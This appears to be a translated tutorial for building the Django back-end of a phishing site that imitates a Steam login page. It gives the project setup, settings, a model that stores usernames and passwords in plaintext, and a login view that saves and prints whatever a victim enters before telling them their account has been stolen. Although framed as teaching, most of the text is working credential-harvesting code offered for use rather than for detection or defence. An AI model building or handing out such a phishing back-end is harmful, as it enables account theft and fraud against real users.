preface
When we surf the Internet every day, we always encounter some stolen websites, or others send you some links. The contents are coupons for free shopping websites, games with free skin and discounts on the official website of the game.
The unified purpose of these stolen websites is to ask you to log in to your account, enter your password and click log in, but it will always prompt you that your password is wrong and you can't log in. But all the information you enter will appear on someone else's computer
The reason why these websites can cheat others is that they are basically no different from genuine official websites. It can't be as like as two peas.
Today, our goal is to build such a website back-end and simply restore the process of your stolen number
Environment construction
Install Django module
pip install django[==edition]
For example: pip install django==3.0
Install the specified version of django
Create Django project
Data command in command indicator
django-admin startproject steam_web
manage.py is a command file. If you want to run Django's built-in commands, you must use this file
Create subapplication
Split each module of the website into sub applications
python manage.py startapp login
A login file will be generated and opened
Introduce the files we will use
models.py file: Data Model
views.py file: used to control page logic
Check whether the project environment configuration is successful
You can open the file directly with pycharm, and then click Run
After running, a domain name will be given, and click to open it
If the following page appears, the project environment configuration is successful
Start implementing functions
Click to enter the settings.py file for customization and modification
The Application definition website registers the sub application and writes login in the last line
# Application definition # Register web site sub app INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'login', ]
Create a templates file and modify the code
# templates Configuration item for folder TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ]
Configure the default language and time of the website
# The default language of the website is changed from English to Chinese LANGUAGE_CODE = 'zh-hans' # current time TIME_ZONE = 'Asia/Shanghai' USE_I18N = True USE_L10N = True USE_TZ = False
Finally, when the website page is refreshed, it becomes Chinese
Configure the folder in the static page and create a static folder in the general directory
STATIC_URL = '/static/' STATICFILES_DIRS = [ os.path.join(BASE_DIR, 'static'), ]
Import required files
Start writing the data model
To open the * * models.py file, you need to create a model class
from django.db import models # Create your models here. class User(models.Model): name = models.CharField(max_length=20) pwd = models.CharField(max_length=20)
Authoring views
Opening the views.py file and writing views are the logic that controls the interaction between the website and users
# Render html File to browser from django.shortcuts import render from django.views.generic import View from .models import User from django.http import HttpResponse # Create your views here. # Display the home page of the website in the browser def index(request): return render(request, 'index.html') # Login Class View class Login(View): def get(self, request): return render(request, 'denlu.html', locals()) ''' When the user enters some data in the page have access to post To receive ''' def post(self, request): name = request.POST.get('username') pwd = request.POST.get('password') User.objects.create(name=name, pwd=pwd).save() print(name) print(pwd) return HttpResponse('Your account has been stolen, Slip away, slip away~')
Write the route in the urls.py file
from django.contrib import admin from django.urls import path from login.views import index, Login urlpatterns = [ path('admin/', admin.site.urls), path('', index, name='index'), path('login/', Login.as_view(), name='login') ]
Synchronize database
Because it's just a teaching, it comes with sqlite3, a small file database
Click open and enter make migrations here. This is a Python script that compiles the fields in the data model into sql language
A 0001 will be generated for you after confirmation_ Initial.py file
Then, after executing the script, enter migrate to map the data model to the database
Run the file, and the effect is shown in the figure below
Select login, enter the account and password, and click OK
Then your account password will be printed out